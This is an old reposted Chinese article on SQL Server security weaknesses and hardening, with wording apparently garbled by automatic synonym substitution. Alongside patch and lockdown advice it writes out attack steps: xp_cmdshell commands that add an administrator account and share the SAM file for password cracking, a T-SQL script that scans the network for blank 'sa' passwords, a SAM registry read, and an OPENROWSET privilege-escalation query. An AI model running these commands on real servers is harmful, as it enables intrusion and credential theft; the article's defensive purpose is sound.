关于SQL SERVER的一些安全问题[MSSQL防范]
本文“关于SQL SERVER的一些安全问题[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
关于sql server的一些安全问题
BY XUNDI<安全核心>
xundi1@21cn.com
www.xfocus.org
目前关于NT服务器的入侵,有很多种办法,如对IIS的漏洞举行操纵,但
大家不知道注意到没有,其实通过与NT服务器相关联的SQL数据库服务器
的例子也是很有比例的一种手段.大家可以参看下面的一个新闻报道:
http://www.vnunet.com/News/1110938.
Herbless入侵破坏的一些站点,如legoland.co.uk站点就是通过SQL服务器
的入侵而得到对系统的掌握权而破坏的.所以对SQL服务器的保护是必不可
少的,这里我整理了一些漏洞供大家来参考,见笑,见笑.
----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络协议库:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 大概存在的漏洞 | 能否加密 |
----------------------------------------------------------------
|Named pipes | --利用NT SMB端口(TCP139,UDP137, | 否 |
|(闻名管道) | 138)来举行通信,这些可以被通 | |
| | 的防火墙掌握,但假如内部网络可| |
| | 随便拜候的话也是一个不小的缺陷| |
| | --用户名字,密码和数据没有举行加| |
| | 传输,任何人可以通过SNIFFER来 | |
| | 举行数据捕捉. | |
----------------------------------------------------------------
|IP Sockets | --默许状况下开1433口,你可以利用| 否 |
| | 扫描器来查看这个端口. | |
| | 可以被SNIFFER截获数据. | |
----------------------------------------------------------------
|Multi-Protocol | --客户端需求支持NT RPCs;在差别 | 是 |
| | 种类的环境中大概惹起问题. | |
| | --默许情形下利用TCP随机端口,但| |
| | 防火墙举行端口图固定实现(参 | |
| | 看KB Q164667). | |
| | --需求注意加密选项能否挑选,默 | |
| | 是不挑选此选项的. | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
普通的举荐利用是:假如你能在Integrated (NT) Security上利用Named Pipes 大概
Multi-protocol,那你就利用这些协议库,假如大概,尽大概利用Multi-protocol
和使能加密选项.假如你上面几个不能利用,那就利用IP Sockets协议,并改变
其默许的端口并随时查抄系统保证无任何SNIFFER存在.并且,考虑利用一WEB服
务大概COM组件作为利用程序的business object layer,并在中间层和SQL服务程
序中利用安全通道(secure channel).有不少第三方的产品可以加密这方面的通信.
-----------------------------------------------------------------------
[1] [2] [3] 下一页
下面再讲一下SQL SERVER的各种安全情势和它们怎样举行工作?
安全情势定义了一些SQL SERVER是怎样认证要利用它们服务的用户,请看下面
SQL Server 6.5的安全情势和在SQL Server 7.0做了改变的一些描写和辨别:
-------------------------------------------------------------------
|安全情势 | SQL Server 6.5 | SQL Server 7.0改变地方 |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --单独的尺度情势在SQL SERVER|
|尺度情势 | 并且给定密码. | 没有利用了. |
| | --SQL SERVER的登录帐户与| |
| | WINDOW NT脱离 | |
-------------------------------------------------------------------
|Integrated |-利用安全管理器SQL的帐 | --在这里成为"Windows NT only"|
|综合情势 | 户. | 情势. |
| |-用户在衔接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
| | 不需求特定脱离LOGIN和 | 支持. |
| | 密码. | |
| |-密码从不存储在利用程序| --可以直接结合到NT的组中便于 |
| | 中,并不以明文在网络中| 管理,(注意有一BUILTIN组在|
| | 传输. | 本地系统上产生). |
| |-SQL SERVER可以利用NT的| |
| | 的认证方法来认证用户并| |
| | 可以利用如帐户过期等.| |
| |-需求Named Pipe或Multi-| |
| | Protocol库. | |
--------------------------------------------------------------------
|Mixed |-供应上面的方法的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性方法 | 征但有撤退的东西是客户| 情势. |
| | 端不能成立可托任衔接.| --尽大概利用WINDOW NT ONLY情势 | |
--------------------------------------------------------------------
登录只不过是第一步,一旦用户登录,用户必须拜候独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给用户用的每个数据库.所以安全
请你注意在你的数据库中能否存在"guest"帐户和保证不会在你不注意的时刻给
某些人拜候你的数据库.
具体的大家可以参看微软的站点:
http://www.microsoft.com/technet/SQL/Technote/secure.ASP
---------------------------------------------------------------------
关于SQL SERVER存在的一些安全问题:
存在"sa"帐户,密码就为空,并且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(扩大存储历程)来举行命
令操作,如:
Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"
这样攻击者就成功的在SQL SERVER上增添了一个用户.
当然远程的话,普通需求有1433口开着,通过MySQL 客户端举行衔接.
当然你也可以利用:
Xp_cmdshell "rdisk /s-"
的办法,这样就在\winnt\repair目录里重建了信息而不提醒用户.然后
在SAM备份今后,攻击者可以成立一个SMB衔接到同享大概成立一个衔接:
Xp_cmdshell "net share getsam=c:\winnt\repair"
操纵同享得到这个文件,然后在利用l0phtcrack来跑吧.假如SMB端口被防火墙
掌握了,大概关闭了,攻击者也可以拷贝sam._文件到WEB目录举行匿名浏览器
下载.假如人家没有开IIS,你何不用tftp呢:).
OK,通过这台被掌握的SQL SERVER服务器,攻击者可以通过它来查找网络内部
其他机械来扩大战果,下面是一个SQL脚本来摆列网络中其他SQL SERVER存在
空帐户'sa'的示例:
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
当然有些人也大概关闭xp_cmdshell extended stored procedure(扩大存储历程),
我们也可以利用下面的办法:
xp_regread 'HKEY_LOCAL_MacHINE', 'SECURITY\SAM\Domains\Account', 'F'
假如MSSqlserver 服务在本地系统帐户下运行,并且假如系统上没有安装syskey,上面
的调用便可以返回注册表中加密的密码大概SID.
--------------------------------------------------------------------------
上一页 [1] [2] [3] 下一页
另一个漏洞,是关于adhoc heterogenous queries 来举行权利的晋升,请看下面微软
的描写:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
关于上面的漏洞,可以利用下面的xploit来得到权利的晋升:
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')
这是大家对比喜好的一种可以履行其他号令,自己想吧.
---------------------------------------------------------------------------
还有就是近来的一个漏洞:Extended Stored Procedure Parameter Parsing (扩大存储
历程参数解析)的漏洞,具体信息在这个URL有介绍:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp.
起主要问题是在MSD中供应一个API函数srv_paraminfo(),它是用来扩大存储历程调用时
注释深化参数的,如:
exec <存储历程名> <参数1>, <参数2>, ...
如要查询"c:\winnt"的目录树,可以以下表达:
exec xp_dirtree 'c:\winnt'
但没有查抄各个参数的长度,传送相当长的字符串,就存在了覆盖其他仓库
参数的大概招致缓冲溢出.
目前已经知道的历程以下:
目前已知受影响的扩大存储历程以下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
给第一个参数传送超长的字符串会覆盖非常处理程序所保存的返回地址.
2、xp_proxiedmetadata (xprepl.dll)
该存储历程利用4个参数.给第二个参数传送超长的字符串会覆盖非常处
理程序所保存的返回地址.
3、xp_SetSQLSecurity (xpstar.dll)
该存储历程利用4个参数.给第三个参数传送超长的字符串会使整个SQL
Server进程当即终止.
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolVBm (xprepl.dll)
给第一个参数传送超长的串将招致不法操作并覆盖非常处理程序所保存的返
回地址.
这里奉告大家一个本领性的东西,假如想要知道这些扩大存储历程调用了那写dll
文件,你可以以下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
这样你便可以得到调用这个扩大存储历程的DLL了,假如微软没有出补钉的话,你就
暂时把这个DLL文件改名吧,当然有些DLL文件调用几个扩大存储历程,不能盲目更改,
不然招致其他的也不能利用,你需求利用下面的操作来知道DLL调用那些扩大存储历程:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
好在微软出了补钉,你可以到下面的地方找到,不用一个一个找DLL程序了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
这个漏洞@stake发现并供应演示的测试代码,大家可在这里找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK,当然SQL SERVER也有一些其他漏洞,相对轻细些,如ISS发现的管理员
LOGIN ID存储在注册表中,其加密的办法对比简单,很简单得到,具体情形
请看:http://xforce.iss.net/alerts/advise45.PHP3.大家可以到其他
地方找找.
---------------------------------------------------------------------
一些对SQL SERVER系统的安全倡议:
--保证打上最新的安全补钉,以下:
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
当然大家要密切注意微软的安全告示.
--不要在IP sockets利用端口1433,假如你利用Multi-protocol也请
改正端口.
--不要把'sa'密码嵌入到肆意利用程序如VB/Delphi apps里,大概一
global.asa文件里,因为"sa"是SQL Server 的一个默许密码,其权限
近似与WINDOWS NT系统里的管理员帐户,并且密码为空.
--改变'sa'和'probe'帐户的密码.
--保证SQL SERVER的错误记录在NTFS系统上.
--假如你不需求xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(扩大存储历程) 留在服务
器上.在任何isql窗口中输入:
use master
sp_dropextendedproc 'xp_cmdshell'
--丢弃不需求OLE自动存储历程,当然Enterprise Manager中的某些特点也
会不能利用,这些历程包含以下:
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需求的注册表拜候历程,以下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉其他系统存储历程,假如你认为你认为你还有威胁,当然
要当心Drop这些历程,你可以在测试机械上测试,保证你正常的
系统能完成工作,这些历程包含:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉数据库中guest用户.
--关闭SQL MAIL兼容本领,避免传送一些木马病毒等.
--设置一个任务处理来按时运行下面的程序:
findstr /C:"Login Failed" \mssql7\log\*.*'
再重定向到其他文件大概MAIL到管理员信箱.
--常常查抄带有空密码的帐户:
Use master
Select name,
Password
from syslogins
where password is null
order by name
--查抄全部不需求'sa'权限的存储历程和扩大存储历程拜候权限:
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name
--保证SQL SERVER的传输信息在断绝的网络段中.
上一页 [1] [2] [3]
以上是“关于SQL SERVER的一些安全问题[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |